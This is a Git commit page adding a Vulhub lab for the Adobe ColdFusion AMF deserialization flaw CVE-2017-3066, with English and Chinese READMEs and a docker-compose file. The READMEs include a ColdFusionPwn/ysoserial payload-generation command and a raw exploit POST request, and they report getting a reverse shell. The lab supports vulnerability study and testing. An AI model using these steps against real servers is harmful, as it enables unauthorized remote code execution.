first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
BIN
coldfusion/CVE-2017-3066/1.png
Normal file
BIN
coldfusion/CVE-2017-3066/1.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 61 KiB |
BIN
coldfusion/CVE-2017-3066/2.png
Normal file
BIN
coldfusion/CVE-2017-3066/2.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 12 KiB |
BIN
coldfusion/CVE-2017-3066/3.png
Normal file
BIN
coldfusion/CVE-2017-3066/3.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 147 KiB |
57
coldfusion/CVE-2017-3066/README.md
Normal file
57
coldfusion/CVE-2017-3066/README.md
Normal file
@@ -0,0 +1,57 @@
|
||||
# Adobe ColdFusion AMF Deserialization Remote Command Execution (CVE-2017-3066)
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
Adobe ColdFusion is a commercial rapid web-application development computing platform created by J. J. Allaire in 1995.
|
||||
|
||||
Adobe ColdFusion 2016 Update 3 and earlier, ColdFusion 11 update 11 and earlier, ColdFusion 10 Update 22 and earlier have a Java deserialization vulnerability in the Apache BlazeDS library. Successful exploitation could lead to arbitrary code execution.
|
||||
|
||||
References:
|
||||
|
||||
- https://codewhitesec.blogspot.com.au/2018/03/exploiting-adobe-coldfusion.html
|
||||
- https://www.exploit-db.com/exploits/43993
|
||||
- https://github.com/codewhitesec/ColdFusionPwn
|
||||
|
||||
## Vulnerable environment
|
||||
|
||||
Start a Adobe ColdFusion 11 update 3:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
After a few minutes wait, visit `http://your-ip:8500/CFIDE/administrator/index.cfm` with password `vulhub`, you can install the Adobe ColdFusion successfully.
|
||||
|
||||
## Exploit
|
||||
|
||||
Generate a POC via [ColdFusionPwn](https://github.com/codewhitesec/ColdFusionPwn) in the `poc.ser`:
|
||||
|
||||
```
|
||||
java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-0.0.6-SNAPSHOT-all.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'touch /tmp/success' poc.ser
|
||||
```
|
||||
|
||||
Send the request to `http://your-ip:8500/flex2gateway/amf`, which contains the `application/x-amf` Content-Type and POC within the body:
|
||||
|
||||
```
|
||||
POST /flex2gateway/amf HTTP/1.1
|
||||
Host: your-ip:8500
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept: */*
|
||||
Accept-Language: en
|
||||
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
|
||||
Connection: close
|
||||
Content-Type: application/x-amf
|
||||
Content-Length: 2853
|
||||
|
||||
[...poc...]
|
||||
```
|
||||
|
||||

|
||||
|
||||
`/tmp/success` is successfully created:
|
||||
|
||||

|
||||
|
||||
Get a reverse shell:
|
||||
|
||||

|
||||
55
coldfusion/CVE-2017-3066/README.zh-cn.md
Normal file
55
coldfusion/CVE-2017-3066/README.zh-cn.md
Normal file
@@ -0,0 +1,55 @@
|
||||
# Adobe ColdFusion 反序列化漏洞(CVE-2017-3066)
|
||||
|
||||
Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品,其运行的CFML(ColdFusion Markup Language)是针对Web应用的一种程序设计语言。
|
||||
|
||||
Adobe ColdFusion中存在java反序列化漏洞。攻击者可利用该漏洞在受影响应用程序的上下文中执行任意代码或造成拒绝服务。以下版本受到影响:Adobe ColdFusion (2016 release) Update 3及之前的版本,ColdFusion 11 Update 11及之前的版本,ColdFusion 10 Update 22及之前的版本。
|
||||
|
||||
参考链接:
|
||||
|
||||
- https://codewhitesec.blogspot.com.au/2018/03/exploiting-adobe-coldfusion.html
|
||||
- https://www.exploit-db.com/exploits/43993
|
||||
- https://github.com/codewhitesec/ColdFusionPwn
|
||||
|
||||
## 漏洞环境
|
||||
|
||||
启动漏洞环境:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
等待数分钟时间,环境启动成功,访问`http://your-ip:8500/CFIDE/administrator/index.cfm`,输入密码`vulhub`,即可成功安装Adobe ColdFusion。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
我们使用参考链接中的[ColdFusionPwn](https://github.com/codewhitesec/ColdFusionPwn)工具来生成POC:
|
||||
|
||||
```
|
||||
java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-0.0.6-SNAPSHOT-all.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'touch /tmp/success' poc.ser
|
||||
```
|
||||
|
||||
POC生成于poc.ser文件中,将POC作为数据包body发送给`http://your-ip:8500/flex2gateway/amf`,Content-Type为application/x-amf:
|
||||
|
||||
```
|
||||
POST /flex2gateway/amf HTTP/1.1
|
||||
Host: your-ip:8500
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept: */*
|
||||
Accept-Language: en
|
||||
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
|
||||
Connection: close
|
||||
Content-Type: application/x-amf
|
||||
Content-Length: 2853
|
||||
|
||||
[...poc...]
|
||||
```
|
||||
|
||||

|
||||
|
||||
进入容器中,发现`/tmp/success`已成功创建:
|
||||
|
||||

|
||||
|
||||
将POC改成[反弹命令](http://www.jackson-t.ca/runtime-exec-payloads.html),成功拿到shell:
|
||||
|
||||

|
||||
6
coldfusion/CVE-2017-3066/docker-compose.yml
Normal file
6
coldfusion/CVE-2017-3066/docker-compose.yml
Normal file
@@ -0,0 +1,6 @@
|
||||
version: '2'
|
||||
services:
|
||||
coldfusion:
|
||||
image: vulhub/coldfusion:11u3
|
||||
ports:
|
||||
- "8500:8500"
|
||||
Reference in New Issue
Block a user